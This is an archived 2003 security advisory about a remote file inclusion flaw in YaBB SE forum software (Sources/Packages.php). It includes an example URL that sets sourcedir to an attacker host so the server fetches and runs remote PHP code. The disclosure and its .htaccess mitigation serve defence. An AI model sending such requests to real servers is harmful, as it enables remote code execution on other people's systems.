[NEWS] YaBB SE Remote Code Execution Vulnerability (/Sources)

From: support@securiteam.com
Date: 01/22/03

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      YaBB SE Remote Code Execution Vulnerability (/Sources)
    ------------------------------------------------------------------------

    SUMMARY

    YaBB SE is a PHP/MySQL port of the popular forum software YaBB (yet
    another bulletin board). A vulnerability in one of the PHP files allows a
    remote attacker to include a PHP script into the existing PHP pages,
    causing it to execute. This PHP script can reside on other servers (for
    example the attacker's server).

    DETAILS

    Vulnerable systems:
     * YabbSE version 1.5.0 and prior

    YaBB SE keeps all of its function includes in a directory called "Sources"
    which is not protected. Inside this directory a file called Packages.php
    exists. This file is supposed to be included and not called directly, but
    if an attacker calls it directly he/she may cause the script to run remote
    arbitrary code.

    Below are a couple of the first lines in Packages.php:

    ********
    .

    global $adminplver;
    $Packagesphpver="YaBB SE 1.4.1";

    $safe_mode = ini_get("safe_mode");

    $pacmanver = "1.4.1";

    include_once("$sourcedir/Packer.php");

    .

    ********

    We can see here that the variable $sourcedir is never defined and
    therefore may be defined through global injection.

    Example:
    http://victim/yabbse/Sources/Packages.php?sourcedir=http://attacker/

    Where the attacker server has a file called Packer.php. An attacker may
    execute remote code on the server with web server permissions.

    Side-note:
    An attacker may also use this file for XSS attack on the server.

    Solution:
    Please check the vendor's website for new patches.

    As a temporary solution, create a .htaccess file that contains 'Deny from
    all'. Place it in the /Sources/ directory and that should block remote
    users from accessing it.

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:mindwarper@hush.com>
    mindwarper.

    ========================================

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